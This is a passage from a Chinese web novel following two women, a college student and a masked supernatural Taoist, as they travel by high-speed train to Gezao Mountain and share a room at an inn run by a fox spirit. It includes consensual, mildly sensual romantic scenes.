傅清微走到穆若水的座椅前,穆若水睁开眼睛,轻柔的声音同时响起在头顶。 “要不要我帮你把它放平?” 穆若水想站起来,一只手同时搭上她的肩膀,说:“坐着就好。” 傅清微按下“全躺”按钮,座椅自动向后调节,穆若水第一次见这种高科技,整个人一动不动,傅清微的手滑到她后背,托着她往后躺:“试试角度够不够?” 穆若水在不知不觉被她扶着躺了下来,安排得明明白白。 她弯下腰,俯身在女人耳边温柔征询她的意见:“道长,我在家可以戴猫耳朵吗?” 面具的热气又被挡在里面,道长的脸都热了。 “什么……猫耳朵?” “刚刚在外面戴的那个,你不准的。”傅清微的声音像撒娇,一字一字的软语,尾音拖长,这么近的距离下穆若水心驰神荡,差点没听清她在说什么。 “可以。”穆若水答得飞快,生怕被她听出隐藏的情绪似的。 “其他的也可以戴吗?” “什么其他的?” 傅清微想起甘棠给她输送的黄色废料,说:“兔子尾巴……之类的。” “你为什么要戴兔子尾巴?”观主纯粹疑惑,已经超过了她的想象范畴。 “没什么,就问问。”后面的傅清微自己也不知道,先到此为止。 “你睡会儿吧。”她牵着穆若水的手,只用一根手指去按住按钮,说,“这个可以调节座椅,想起来的话按一下就行。” “嗯。” 傅清微回到自己的座位,只调整了脚托,上滑手机解锁。 傅清微:【女主B想看女主A在家戴猫耳朵,兔子尾巴应该也可以】 甘棠:【啊我死了,我死得透透的】 傅清微:【今天先到这儿,我要刷题了】 甘棠:【不是姐们,你也太拼了!】 甘棠:【去吧】 傅清微把扶手内的折叠小桌板摊开,放上一堆资料,拎起一根笔开始心无旁骛地做题。 后面两个女生惊呆了,见过在高铁开会分分钟几千万上下的,没见过埋头刷题的,手里的小零食顿时都不香了。 傅清微把手里的纸张翻了一页,往隔壁瞧了一眼,穆若水正在研究座位舱的按钮,上上下下的,极具求知欲,一个人玩得也很自在。 傅清微笑了笑,容许自己对着她发了十秒的呆,把注意力重新集中在面前的资料上。 自西向东的风景其实是很美的,从盆地到山地,平原到丘陵,广袤的大地在疾驰的高铁上可谓移步换景,某一个时刻傅清微停下笔,从车窗玻璃看向一望无际的稻田,冬季已经没有庄稼,苍凉壮阔。 生机仍会在明年勃发。 穆若水也在看窗外,不同的是她在惊讶另一件事。 “好快。”她和傅清微对上视线,下意识地就说出了口。 “是啊,时速300多公里呢。”傅清微回答了她,并向她示意上方显示时速的电子屏。 穆若水坐在宽敞的椅子里,哪里都新鲜,运行平稳,噪音也很小,她睡觉的时候几乎都感觉不到这是一列高速行驶中的火车。 “真好。”她又说。 傅清微有时觉得她是个矛盾体,她那么讨厌除了她以外的人类,恨不得杀之而后快。但又会为人们的科技进步、现代生活水平的提高而发自内心地祝福和开心。 她到底是爱人?还是不爱人? 还是说两个都是她,她自己也分不清。 有时很强大,有时又很脆弱。 那天晚上她察觉了穆若水一闪而过的脆弱,对她说:你可以抓住我。 穆若水伸出手,小心翼翼,最后都只敢攥紧她的一片衣角。 好像角色互换,那个祈求她留下来的人变成了她。 傅清微不明白她经历了什么。 那晚她们在沙发上抱了很久很久,穆若水还是只抓住了她的衣角,连回她一个拥抱都没有。 当然后来她清醒了,当做无事发生。 傅清微也只好假装忘了这件事不再提起。 穆若水看了一会儿窗外,身上那种无害的气质就又消失得无影无踪,盯着前方的车厢墙壁不说话,恢复了冷漠寡言的样子。 傅清微刷完了一套国考题,换成科目一放松一下脑子。 事情都是要做的,幸好她兼职这么多年,早就学会同时处理多件事。 八个小时的高铁在各自的空间中度过,穆若水下车之前已经表现出了不太对劲,可能和陌生人在一起呆得太久了,这几天她又没有贴着傅清微,对人类浑浊气息的抵抗力下降了。 她搭在座椅边缘的修长指节曲起来,淡淡的青筋浮现在手背的皮肤上。 虽然女人手指用力的特写很性感,但傅清微也只能把欣赏的心思暂且搁置,走到她身边去。 “是不是哪里不舒服了?” 后座的两个女生抬起头,悄悄观察。 只见那个戴面具的女人别开脸,冷冰冰地说了一句:“没事。” 然后那个年轻一些的黑长发女生直接抱了上去。 后座女生也激动得抱在了一起,默契地掐住了同伴的胳膊,把尖叫声咽了回去。 穆若水:“放开我。” 傅清微:“听话。” 穆若水随时可以挣开她,但她几乎没有用任何力气。 傅清微闭上眼睛:“我知道你生我气,不想让我看见你的脸,我现在闭上了眼睛,你对我做什么都可以。” 穆若水偏头去看她,果然长睫紧闭。女人耳后的红线散落,面具被摘下来,露出一张汗津津但唇色红艳、美得惊人的脸。 穆若水翻身将傅清微压进座椅里,潮热的脸埋进她的颈窝,伴随着热气的轻喘,一寸寸地,吻过她的皮肤。 第55章 傅清微抬起胳膊, 借助手臂的角度挡住了穆若水的脸,手掌落在她的发顶。 因为她一直埋在自己的脖子里,不往上也不往下, 看起来就像一对黏黏腻腻的小情侣。 一个撒娇, 一个纵容。 虽然亲密了一点, 也不到当众亲热的限制级场景。 如果忽略只在她耳边响起的轻喘声,她的唇一寸寸地倾轧过她如玉的颈, 傅清微维持住自己的表情, 半靠在已经升起来的座舱里,垂眼含笑。 只要她装得足够淡定, 别人就不会发现观主在吻她的脖颈。 穆若水的呼吸声渐渐变得平稳。 傅清微也装作很1的样子, 右手轻轻拍着她的背,用比耳语大一点的声音向车厢里的其他人表示她们俩确实什么都没发生。 “心情好点了吗?嘶——”傅清微把尾音咽了回去,强行转换成了一声轻柔的低笑, 对怀里的女人说道: “怎么还在闹脾气?” 别人尴不尴尬她不知道, 傅清微只知道观主再咬她一口,她就演不下去了,找个地洞直接钻进去。 “……” 穆若水觉得她病得不轻, 已经开始胡言乱语了。 穆若水习惯性舔了舔留下的齿痕,用完她就把面具戴上,把人赶回了座位。 后面传来两个女生几不可闻的议论声。 傅清微脸红得不能再红,摸了摸自己衣服底下锁骨的牙印, 在高铁上自拍会不会像个变态? 她稍微拉下一点衣领,透过玻璃车窗的反射悄悄观察, 玻璃清洁度不高, 外面光线晃眼,能照清脸就不错了, 焉能照清一个小小的牙印。 傅清微清了清嗓子,向穆若水知会了一声:“我去趟卫生间。” 观主刚从她那里得了好,可以抚平一切的气息流淌过她的全身,比泡温泉还舒适,破天荒朝她点了点头。 傅清微趁热打铁,过来抱了她一下。 “我很快回来。” 那两个女生又在低头笑。 傅清微也管不了那么多了,她都三四天没抱观主了,刚刚那一下怎么够,至少还有三次,现在还剩两次。 傅清微利用卫生间的镜子拍下了牙印,皮肤还有一点点红,咬得不怎么深,过一会儿可能就消退了。 幸好她来得及时。 离到站还有半小时,傅清微观察了隔壁坐着休息的穆若水,悄悄地把新鲜出炉的牙印上传到了朋友圈,这回的权限只有穆若水可见。 什么女配C都看不见,更别提小英子。 穆若水一直没看手机。 她本来就不爱玩手机,高铁上带书不方便,傅清微给她在电纸书里下好了书,穆若水也没问她说要看。 列车到站春天的城市。 这个名字里带春的城市位于中部地区,并不像海滨或者极南的地方拥有温暖的冬天。傅清微推着行李箱一出站台,差点被迎面的冷风吹了个跟头。 冷就算了,空气中还有股潮潮的湿气,让人怀疑光腿站久了会得风湿的地步。 不巧傅清微今天穿的是小裙子,所谓的过冬神奇保暖袜也只到膝盖以上,寒风无孔不入地钻进大腿。 穆若水下意识抬手在自己领子摸了一下,在没有摸到大衣后作罢,垂手于袖中。 “快点赶路吧,我不喜欢站在这里。” “好。” 这里不比鹤市,二次元在人群里简直宛如异类,堪比妖魔鬼怪,回头率百分之一千,还一直盯着她们看。好在车站不大,人也少,傅清微硬着头皮牵着穆若水的手腕出了站。 门口揽客的黑车司机和宾馆住宿看到她俩都愣了一下,不知道应不应当开口。 占英的师侄早早来车站等候,终于等到列车到站,但出站口的人流一波接着一波,都快走光了,她愣是没接到人。 【占师叔,我没看到人,她俩有什么明显的特征吗?】 占英:【一个很漂亮的女生,二十岁左右,黑发,另一个样貌不详,但是生人勿近,在家里那边女生里高得很突出,两个人如胶似漆,应该一眼就能认出来】 【没看到啊】 占英:【你把欢迎的牌子举一下啊】 【真的要举吗?】 占英:【接不到人的后果你不会想知道的[烟.jpg]】 师侄收起手机,立马两手举高定制的应援发光灯牌,上一行写的穆若水,下一行写傅清微,中间用爱心连接起来。 怎么说呢?她觉得有点奇怪,但占师叔是这么吩咐的。 牌子刚举起来,不远处非主流的粉毛和更非主流的面具人向她看过来,并走到她的面前。 啊? 啊?? 啊??? 粉毛女生开口了:“你好,是阁皂派的道长吗?” * 傅清微坐上了阁皂派的接送车,解下假发,塞进包里,把包放在自己脚边,车里的暖气开得足,源源不断地包裹全身,终于缓解了大腿的冰冷。 坐在副驾驶的师侄回头看看她,终于把她和占英口中的傅清微对上号。至于另一个,戴着面具谁也不理,脾气不好的样子,也符合描述,占师叔叮嘱说不要招惹,当她不存在。 她一身红袍,道服的款式也和大多数人不同,何门何派?还是真的是cosplay啊? 占英并没有把穆若水的真实身份告诉师侄,只有阁皂派的掌门和几位长老知道内情。 傅清微:“肖道长……” 肖师侄回神:“叫我小肖就好了。” 傅清微坚持尊称:“肖道长。” 肖师侄从善如流:“那便随你。改日傅小姐入了道,我们就可以互称道友了。” 傅清微笑说:“我也很期待。肖道长,我们现在去哪儿?” 肖师侄:“天快黑了,景点也关门了,后山的路夜里不太好走,所以我们先在山脚下歇一宿,明天一早上山。” 傅清微颔首道:“有劳。” 肖师侄:“傅小姐客气了,占师叔说傅小姐是贵客,让我们好生招待。” 她一口一个师叔,让傅清微想起占英那不过21岁的年龄和酷爱喝奶茶的习惯,好奇心起来便问了几句。 肖师侄:“占师叔是岁长老唯一的徒弟,岁长老是前任掌门的关门弟子,占师叔在门派里辈分比较高。” 车子在薄暮的霞光里启动,驶入主干道。 肖师侄回头对她们说道:“不过占师叔当得上师叔的位分,她比我们都厉害,她是我们年轻一代里唯一考上灵管局的。” 年轻坤道说到这面露忧郁。 傅清微:“……” 听起来有点悲凉怎么回事? 傅清微:“你也考过灵管局吗?” 肖师侄托着下巴,浮现出不符合年龄的沧桑:“考过啊,笔试就被刷下来了,那个立体几何我怎么也看不懂。还有选择题,一个比一个离谱。小作文也不会写。” 傅清微啊了一声。 如果竞争对手都是这样的,那考入灵管局也不是没有机会。 “占科读过大学吗?” “读过,是道教学院毕业的,18岁就读完了。” “……” 傅清微这下是真知道了不得的事了。 怪不得占科是占科! 整个阁皂派都在躺,就她和岁主任在卷,有其师必有其徒。 观肖道长这个自由烂漫的样子,傅清微又问了几句山上的情况,肖师侄没有隐瞒,大体就是傅清微想的那样,和谐友爱,没什么勾心斗角,相亲相敬,具体的得上了山才知道。 “谢谢肖道长。” “不客气。” 傅清微得知了基本情况就不再与肖师侄攀谈,毕竟她也不是什么社交达人,如果有选择的话,她更愿意自己像穆若水一样,能不开口就不开口,自有人揣摩她的心思,为她服务。 现在她是个面具人,也没什么好揣摩的,傅清微把手伸过去,碰了碰她的手背。 观主把手缩回了袖子里。 傅清微坐得离她近了一点。 去阁皂山的车程比较长,傅清微在高铁上没怎么休息,身体的作息随着天色渐黑、月亮升空涌来困意,在清醒的最后一秒,她已经靠在了穆若水肩膀上。 确认她睡着了以后,穆若水伸手托了托她的颈项,帮她调整到舒服的姿势。 面具抬起来,前方的肖师侄不知何时转了过来,把这一幕尽收眼底,惊讶地张大了嘴。 所以那个灯牌上的心是……这个意思啊? 穆若水对上她的视线,轻轻吐出一个字:“滚。” 肖师侄:“好嘞。” 占师叔说了,千万、一定不能惹怒她,否则阁皂派就完啦! 肖师侄一眼也不往后看,从后视镜偷偷打量。 不知道这个面具人长什么样子? 该不是相貌丑陋,玩的是美女与野兽吧? 肖师侄:【师叔,和傅小姐同行的那个面具人好看吗?她俩是cp吗?】 占英:【你岁师叔祖都没资格见到她的样子[烟.jpg]】 占英:【是cp,你只要记得满足傅小姐的一切要求,自会手到擒来】 肖师侄:【如果她们俩的意见有冲突呢?】 占英:【emm,听傅小姐的】 肖师侄:【原来如此,明白啦!】 两个小时后,七座商务车行驶到阁皂山的山脚下,一路开进景区停车场。 阁皂山为武夷山支脉,海拔800米,论高度不算太高,却钟灵毓秀,群峰环抱,峰顶云雾缭绕,宛如仙境。 ——以上是傅清微在网上搜的。现在天黑了什么都看不到,连景区停车场的灯带都坏了一半,旅游淡季连商贩都不怎么出来营业,一片荒凉。 傅清微回味着刚刚充满异香的怀抱,从后门下了车,坚持接过了肖师侄手里的行李箱。 “我自己来就行。” 肖师侄到前面去引路,边走边介绍道:“我们师门很少有客人,我是说很少半夜接客,山上的客房条件比较好,但现在天色这么暗,上山属实是有一点危险,委屈傅小姐和……您家这位,在民宿暂住一晚。” “肖道长太客气了。” “没有没有。”肖师侄看起来也就二十出头,生长环境单纯,性子也比较跳脱,和傅清微说话的时候一直倒退着走路,冷不丁踩中一块石子,往后栽去。 “小心!”傅清微丢下行李箱一个箭步冲上前去,就要去拉她。 肖师侄后背几乎快贴上地面,眼看要后脑勺着地,只见她顺势后退,半空中一个奇妙的拧身,腾空而起,不知道从哪里借的力,竟然稳住身形站了起来,连手都没有弄脏。 “哎呀,好险。” 要不是她今天没有穿道袍,运动服少了衣袖飘飘的感觉,再忽略她的年龄只看身形,武林高手照进现实。 这个动作傅清微也可以做到,但她不可能不借助手部力量。 穆若水推着她的行李箱走过来,路过傅清微的时候低声说了一句:“是炁。” 傅清微把下巴合上,跟上去问道:“她很厉害吗?” 穆若水思索了一下,因为没有参照物她不好评价,刚好她记起来还在和傅清微生气,干脆不回答了。 傅清微:“……” 一下冷一下热,是在钓她吗? “到了!”肖师侄把二人带到一家叫“有居客栈”的民宿,院子里种满了花,虽然是寒冬,却还是有很多开着,碧绿的爬藤一直越过门口,到墙壁外面来迎接,环境倒是清幽。 穆若水的身份证有问题,凡是要刷脸的一概住不了,占英打过招呼,可以借住在这里。 老板是个四五十岁的女人,在院子的小假山喂鱼,见到三人便拍了拍手往里走,显然和肖师侄认识。 “办入住吗?跟我进来吧。” 老板站在柜台后,要了傅清微和肖师侄的身份证录入信息,说:“一间大床房对吧?” 傅清微:“!!!” 大大大、大床房? 穆若水毫无反应。 她没住过酒店,根本不知道大床房意味着什么,在她的理解里就是床大一点。 傅清微悄悄看穆若水的反应被她捕捉到,问:“怎么?” 傅清微觉得不该占她便宜,所以向老板确认有标间过后,问穆若水:“大床房还是标间?” “区别是……” “一个床大一点一个床小一点。”这么说也没错,观主以前还嫌她床大要睡棺材,多半会选标间。如果她意外选了大床,那就是命中注定。 傅清微紧紧盯着穆若水的面具,仿佛生死悬于一线。 随着那张檀口吐出两个字,明媚的笑容从傅清微的唇角一点一点地扬了起来。 她说:“大床。” 傅清微差点把手拍在柜台上,目光炯炯,斩钉截铁:“大床!” 老板撩起眼皮看她一眼。 大床就大床,这么激动干吗?一看就是第一次出门旅行睡一张床的情侣。 老板给她们开好房,把房卡递过来,惯例懒洋洋提醒说:“不要损坏屋内用品……弄脏床单需要补清洁费。” 傅清微:“好的好的,谢谢老板。” 老板意有所指地说:“谢谢占道长吧。”她钦点的大床。 傅清微默默在心里又记了一笔占科的好。 肖师侄:“需要我陪你们上去吗?” 傅清微:“不用了。” 肖师侄当了这么久的电灯泡也早就想溜了,拱手告辞后出了门,傅清微多看了几眼,发现她脚程极快,是往景区大门的方向去了。 难道她是回山上去了? 傅清微走回来,见穆若水在原地等着她,一声不吭,气氛有些怪异。 老板刚好从里面出来,揣了一把炒瓜子,和她擦肩而过,坐在院子里,回头看见穿cos服的女生抬手搭在对方肩上,神情温柔,似乎在和她解释什么。 屋子里的灯光开成暖色,高个子女生身上的寒意像蜡一样的融化了,两个人又贴近说了几句话,消失在了楼梯。 月色当空。 老板坐在藤椅上,遥望一轮明月,悠闲地唱起一支小曲儿。 * 民宿的楼梯是古香古色的木制,里面的装修也是按照复古的风格,傅清微提起行李箱上三楼,想的是观主应该会喜欢。 ……喜不喜欢大床就不一定了。 傅清微最遗憾的是不能摘下她的面具,看到她发现房间里只有一张床时候的表情。 某种程度说傅清微还是非常喜欢逗观主的,可惜这种机会不多。 即使戴着面具,穆若水今晚的表现也足够精彩。 房卡刷开门,傅清微推着行李箱先进去了,穆若水落后一步,紧随其后。 这一进来,她就僵住了,面具差点裂开。 30平米的房间,正中央一张2.0*1.8米的大床,比傅清微房间的大多了。 穆若水在一眼望到头的房间里走了好几圈,试图找到第二张隐形的床,之后她妄想找到沙发,沙发有,单人沙发,一般用来放衣服和背包。 最后她单膝跪在床上,把床研究了一遍,寻找把它分成两半的合理性。 傅清微弯着腰面朝墙壁,一直在整理空气,生怕被她发现自己过分灿烂的笑容。 穆若水:“为什么……” 傅清微用力拧了一下自己的胳膊内侧,才表情严肃地转过身来:“怎么了?” 穆若水面具底下的声音有些茫然:“为什么我们没有开两间房?” 傅清微:“因为你的身份证不能刷脸。” 道理是这个道理,但刚刚姓肖的不是提供身份证了? 傅清微赶在她想明白之前又说:“你放心我一个人睡吗?万一这里不干净。” 穆若水点点头。 她感觉不到她会睡不着,听到她的呼吸,感知她的动静。 这里暂时没有不干净,但不排除傅清微单独一个人的时候会沾上脏东西,总归麻烦。 见对方没有反对,傅清微松了口气,说:“就住一晚上,很快就过去了。” “嗯。” 傅清微说:“我先去洗澡?” “嗯。” 傅清微拿着换洗衣物走进卫生间。有一次她和甘棠出门旅游,订的标间,酒店免费升级了豪华江景大床房,两个女大还高兴得在电梯里拥抱,占大便宜了,一进去傻眼了,那么大一个全透明的玻璃浴室,连片遮挡的都没有,360度全方位无死角展示。 浴缸旁边还摆着玫瑰花瓣,就在卧室里,风景绝佳,没人敢泡。 住大床的一定就是情侣吗?搞得一点隐私都没有! 当时单身且没有暧昧对象的傅清微这么想到,现在她站在有门有墙壁的正常卫生间里,觉得也可以适当透露一定隐私,嗯?墙怎么封得这么厚? 待会观主能听到她洗澡的声音吗? 穆若水能听到。 别说十几公分的墙体了,再厚十倍她也听得到,每天她听不到傅清微洗澡就跟少了点什么似的,有时候傅清微做完晚课再去洗,洗得晚观主也睡得晚。 傅清微在里面洗了比平时久一倍的时间,每一寸都照顾到,尤其是可能会用到的部位。 虽然大概率是进展没那么快,但万一会发生点什么呢? 傅清微站在镜子前,蒸腾的水汽氤氲在镜面上,她抬手擦了擦,映出一张白里透红的脸。 睡衣是少见的V领,颈项修长的线条全部露出来,锁骨的牙印已经完全消失了,光滑细腻,薄薄的皮肤覆在上面,残留的水珠反射仿佛珠光。 傅清微又往脖子和脸上弹了几滴,轻轻地打开了卫生间的门。 穆若水坐在单人沙发里闭目养神,似乎没听到她的脚步声,傅清微慢慢地来到她的身前,拖鞋停下。 穆若水动了动,先闻到气味,然后抬起头。 “你好香。”她总是有很多下意识,在傅清微面前控制不住。 前车之鉴,傅清微分辨了一下幻想和现实,确定自己处在现实,才问:“我可以坐你腿上吗?” 穆若水点了点头,她实在抗拒不了沉迷这种气息,写在她的基因里。 令她所有的细胞都跪地臣服,放弃抵抗。 返魂香会带来幻觉,傅清微身体里散发出的香味比百倍的返魂香还厉害。 傅清微扶着她一边肩膀,在她怀里侧坐了下来,自己也没意识似的带了一点命令的口吻:“抱住我。” 穆若水抱住她的腰,把脸抵在她的肩头。 但她戴着面具,头上的角差点戳到傅清微的脸,傅清微偏头躲了一下,轻柔地说:“摘下面具,好吗?” 穆若水沉溺在比幻境更美好的现实里,仍记得闹的别扭:“不。” “……” 傅清微已经找到了制她的窍门,闭眼说:“我不看你。” 轻轻的响动过后。 一张汗津津的脸带着潮热的呼吸埋在了她的脖子里。 傅清微的手指轻轻穿进她冰凉的发丝里,带动她的后脑勺往自己的方向按,穆若水接收到她的信号,柔软的唇浅浅地亲吻她。 此刻不比在高铁上,傅清微仰颈给出了诚实的反应,是一声舒适的轻喘。 以前穆若水亲了她那么多次,她没有一次像现在这样,表达出她很喜欢。 可能是氛围不同,不为了给她“治病”,只是因为她想。 想被她这样对待,温柔、虔诚,和小心翼翼。 她能感觉得出来,她落下的吻饱含一种怜爱的情愫。 她不信她对她一点感情都没有。 傅清微很想睁眼看一看她,又怕打断好不容易营造的气氛。 她穿梭在对方发丝的指尖微微用力,穆若水又亲了她一下,无师自通地鼻尖跟着蹭了蹭,接着又是花瓣一样的唇追逐过来,傅清微舒服得头皮都在发麻,身体颤抖。 她不得不克制了一下自己的喘息,免得因为一个亲吻表现得过于夸张。 穆若水抬了一下头,好似也在分辨今日的她为何与平时不同,但她这时候的声音她很喜欢。 她想要听到更多。 穆若水将她从侧坐转过来,变成仰面跨坐,膝盖分开坐在她腿上,她的手掌刚好可以贴住她的后腰。 穆若水也喜欢将她整个人拥在怀里、完完全全属于她的感觉。 傅清微闭着眼睛、亟待雨露的样子,脸颊泛红,锁骨的水珠微微发亮,干净又漂亮得让人不敢多看,再一眼那颗不会跳动的心也会随流转全身的血液泵动,制造出心跳的错觉。 穆若水的发根又被牵动,原来是被冷落的人等得急了。 “继续。”头顶的声音温柔却急切。 “嗯。” 穆若水垂下长长的睫毛,吻上近在咫尺的玉颈,把香气吞进口中,从一小口一小口,变成贪婪的祈求全部。 “嘶——别咬。” 穆若水收起了牙齿,一面抬眼观察她的反应,一面乖乖地舔舐。 齿痕在这种温吞的节奏里变了味,疼痛被抚慰后滋生出另一种难耐。傅清微压抑着声音,改变了主意:“再咬一口。” 穆若水又咬了她一口。 傅清微轻轻颤抖,闭眼摸到她的下巴,笑着说了一声:“乖。” 本该感到被冒犯的观主舔完这个牙印以后低下头,指尖落在了她胸前的第一颗纽扣。 第56章 穆若水专心研究那颗纽扣, 目光微微抬起来,自下而上地看向紧闭睫毛的年轻女人。 “你想让我怎么做?” “解开它。” 穆若水放下手,重新低下头, 用牙咬开了扣子。 “这样可以吗?” “不够。”傅清微的声音在抖。 也许因为她正闭着眼睛, 只能通过视觉以外的感官去接触世界, 她看不到穆若水的脸,也无法从她的表情上得知她对此刻的感觉, 于是格外的忠于自己。 “把脸埋进来。” 寒冷的空气从刚打开的缺口灌了进去, 很快被体温填满,女人的脸潮潮的, 散发着热意。 落下时仿佛一点火星灼烫她的肌肤, 自血液里烧出一把野火。 傅清微想去摸她的唇,但她现在的角度不方便,手指落在了她精致莹白的耳廓上, 捏着打转, 真是胆大包天。 “亲一亲。” 穆若水浅浅地亲吻她,其实不带多少冲动,更像是单方面为了满足傅清微的要求, 和先前同样的虔诚。 她来回地亲吻她,下意识避开那颗红痣,感受着牵扯她发根的力道慢慢收紧,年轻女人抱了过来, 耳边的呼吸混乱而失序。 傅清微受不了她的吻,只亲一亲, 又不动真格的。 她把饱满的自己捧上前, 凑近女人花瓣一样柔软的唇:“亲一亲……我。” 穆若水忽然闭眼,蜻蜓点水地亲了一下。 后撤的想法还没实现, 她被按住了后脑勺。 傅清微紧紧地贴住她,轻喘着命令她: “张嘴。” 穆若水紧闭的唇犹豫了一会儿,张开迎接女生的闯入。 馥郁香气化开在舌尖,像尝到夏季水润的杨梅,含在口中,穆若水的脑袋晕了一下。 她扣紧了傅清微的腰,身体比大脑反应更快地将她按入自己怀中,傅清微那一声情不自禁比之前更长的低吟都吐在了她的耳窝。 傅清微抱她抱得那样紧,整个人都因她第一次的亲吻而剧烈颤抖,甚至低低的啜泣,无法承受。 两人一动不动地抱了许久。 穆若水张开嘴,仍然习惯性舔了舔,引起傅清微在她怀里的又一轮蹭动。察觉她躲闪的意图,穆若水收回湿红舌尖,问她:“还要亲吗?” 傅清微摇了摇头。 她很乖,到现在都闭着眼,只是睫毛尾端已浸出泪水的湿意,像被欺负过,眼角红红的。 虽然并没有。 穆若水戴上面具,又摘了下来,托着她的后脑勺压低傅清微的身体,吻去了她的眼泪。 还是一样的美味。 “可以睁眼了。” 傅清微睁开眼,没顾得上去看穆若水重新戴上面具的脸,迅速从她腿上滑下来,飞快地扫了一眼女人道袍的腰间,干干净净,一片干燥,其他地方也没有弄脏一片衣角。 傅清微站直了,睁眼的她与方才主动大胆的她判若两人,低声说:“我去洗澡了。” 穆若水嗯了一声。 也没问她刚洗澡怎么又要洗? 傅清微意识到这件事后脸更红了,从行李箱拿了换洗衣物匆匆冲进了洗手间。 镜子里映出一张红得赛柿子的脸。 完了完了,她不干净了。 傅清微想:她再也不是清纯女大了。 她怎么能主动要求观主做这种事?!虽然很迷惑她竟然真的会照做,但这不是重点。 傅清微解开衣服的纽扣,今天穆若水虽然咬了她,但都不太用力,亲吻也很轻,所以没有留下任何明显的痕迹。 除了…… 被含过的地方泛着水光,红粉在白雪皑皑中晕染开,由点及面,傅清微捂住了自己滚烫的脸,一只手禁不住撑在洗手台上,才能支撑自己因回想变得酸软的身体。 再热爱记录生活的女大也不敢拍下此等画面。 浴室里的淋浴声隔了很久响起来。 穆若水脸戴面具坐在单人沙发里,体态端正,在水声响起来那一刻,柔软腰肢微微一塌,陷进沙发里。 一副被用过疲惫的样子。 傅清微洗完澡还是不太舒服,不是没得到纾解的不舒服,是被第一次对待的地方传来陌生的涨意,明明空无一物却还感觉被温热地裹住,吮吻。 傅清微一只手故作不经意地挡在身前,从浴室里出来,拿了件内衣又进去了。 穆若水的面具一动不动,身体恢复端坐。 傅清微从内到外穿好了衣服,自觉地把床分为两半,自己坐在另一边打坐诵经。 今天多花了些时间才沉浸进去。 穆若水推开房门走了出去,在院子里遇到赏月的老板,老板在藤椅里摇摇晃晃,说:“喝茶吗?可以静心。” 穆若水不理她,出了民宿的月亮门,碧绿的爬山虎和断断续续的经文声抛在身后。 没过多久她又走了回来。 唱曲儿的老板不见了,竹桌上的紫砂茶壶留了下来,茶盘里还有两只倒扣着的没用过的茶杯。 穆若水坐进藤椅里,给自己倒了杯茶,摘下面具搁在一边。 远离了钢筋水泥的大城市,附近民宿聚集,建筑最多两三层,从院子里可以直接看到清晰的月亮,一盏凉了的茶,确实可以让人的心静下来。 对穆若水来说也是一样,血液恢复了慢速流动。 傅清微打完坐发现穆若水不见了,急得下楼去找,一出门穆若水枕卧在躺椅的身影便撞入眼帘。 她的脸上仍扣着面具,脑后红线微微散乱,放松的姿态看起来像是睡着了。 头顶的圆月洒下皎洁的光辉,一寸寸地镀过她修长美好的身体。 既生她者,倍加钟爱。 月光像是一个母亲包容的怀抱,将她温柔拥在天地间,而她也在其中得到最本真的自由。 傅清微悄无声息地退回了门内。 她掏出手机拍了一张观主的照片,因为人上镜又不是自拍难得拍得不错,但傅清微心中却生起惆怅。 虽然观主愿意为她留在凡间,可凡间的天地太窄,楼层太高,她甚至看不到月亮。 起初她们在山上的那段时间,穆若水白天睡棺材里,晚上即便不出来活动也会打开棺材盖晒晒月光,她不需要进食,更少娱乐,田园牧歌自然比繁华都市要自由万倍。 如果没有自己,她应该日日都能过这样的生活,宛如天地一沙鸥。 傅清微回到了房间,从三楼的窗户看向静谧的院子里,又拍了几张照片,珍藏起来。 * 穆若水的藤椅被一只脚踢了踢,打断她清梦。 她脸上的面具动了动,坐了起来,反常的没有生气。 换个人坟头草已经三尺高了。 老板拿了一盘点心回来,又踢了一脚藤椅,说:“起开起开,好心借你茶喝,你把我这地儿的灵气全吸光了。” 如果有人在这里,就会发现穆若水不是不和任何人说话,而是懒得和她一只手就能捏死的物种多费口舌。就像人不会关注蚂蚁。 面前的老板显然不在此类。 穆若水起身把位置还给她,说:“我吸收的是月华之精,和你的院子有什么关系?” 老板强词夺理:“我不管,我这个院子地理位置好,抬头就是月亮。那边有凳子,想坐自己搬。” 她未必打得过穆若水,但一定能从她手底下逃掉。 穆若水不太想回房间面对傅清微,于是果真搬了张凳子过来,坐在竹桌另一边。 “点心吃吗?” “不吃。” “不吃正好,我还不舍得。” 穆若水给自己倒了杯茶,有外人在又不能摘面具,干脆晾在一边。 老板吃点心吃得津津有味,穆若水很难理解,毕竟以老板的种族和道行应该不需要吃东西了。 穆若水看着她平凡至极的脸和略微臃肿的中年身材,说:“为什么不把自己变得好看一点?”妖精化形,话本子里不是美若天仙就是沉鱼落雁。 老板说:“年轻貌美给谁看?我又没有想要讨她喜欢的人。” 穆若水心念微动,下意识抚上自己的面具边缘。 她还是不一样的,她这张脸是天生的,生下来就好看。 穆若水:“你在这里多久了?” 老板:“两三百年了吧,换了好几次身份了。” 穆若水:“为什么在人间?” 老板:“瞧你说的,你又为什么在人间,你比我更不能见人吧。当然是因为人间好玩,有意思。” 穆若水哦了声:“我不觉得。” 老板翻了个白眼:“谁要你觉得?我要我觉得。” 穆若水想一想也是,老板又不是傅清微,爱在哪在哪,跟她有什么关系? 她被说服了。 不吃点心也不喝茶,穆若水就坐在椅子里目视前方入定。 存在感极强但是丝毫不通风月,还吸她院子灵气。 老板赶她:“你快走吧,这么好的花前月下,要对着你这个死人。” 穆若水淡淡:“我是住在这里的客人,付了钱。” 意思是院子她也可以用,老板没资格赶她走。 老板:“……” 我的妈,脑子一会好使一会不好使的。 赶快来个人收了她吧。 能收她的人正在三楼的窗户边冒酸泡泡,白皙指节攥着木质窗棂,手背都快爆出青筋了。 老板一抬头,喜笑颜开:“哎你!” 傅清微:“?” 老板笑成朵花,普通至极的五官飞出不符合的妖媚,说:“就你,下来。” 穆若水:“不准命令她。” 老板:“……你真是有病。”心眼没针眼大。 老板换了副口吻,亲切礼貌道:“请傅小姐下来一趟。” 傅清微的身形消失在窗户后,两人的耳力都听见踩在木质楼梯上的脚步声。 穆若水起身向屋内走去。 她才不想傅清微和外面的狐狸精说话。 老板如愿以偿地得了清净,舒展地躺进藤椅里,手指在身前打着节拍,咿咿呀呀唱起了古调的黄梅戏。 傅清微在二楼楼梯便迎面撞见了穆若水。 刚刚还焦急的脸色瞬间不见,扭头往回走。 穆若水跟在她的身后,她快她也快,她慢她也慢,前后脚进了房门,观主顺手把门带上了。 傅清微板着脸:“你跟她说了什么?” 穆若水:“没什么。”说的都是她不能听的。 傅清微头一次发现穆若水竟然还会对别人说话,两人坐在一起相谈甚欢。什么?穆若水戴着面具看不到脸?傅清微自会脑补完全。 “你认识她?” “不认识,第一次见。” “那你为什么和她说话?” “我第一次见你也说话了。”观主毫无踩雷概念,一脚一个地雷。 